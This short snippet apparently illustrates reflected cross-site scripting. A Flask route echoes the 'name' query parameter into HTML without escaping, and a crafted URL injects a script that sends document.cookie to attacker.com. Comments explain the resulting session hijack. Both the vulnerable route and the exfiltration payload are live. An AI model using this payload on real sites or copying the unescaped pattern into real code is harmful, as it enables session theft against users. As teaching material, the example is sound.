@app.route('/user')
def user():
username=request.args.get('name')
return f"Welcome {username} "
vulnapp.com?name=<script>new Image().src='https://attacker.com/steal?'+document.cookie;</script>
#If the user clicks on this malicious URL
#The cookies from their browser will be sent to attacker.com (attacker-controlled domain)
#The attacker can view the cookies on the logs of their website
#The attacker can now impersonate the user and steal their session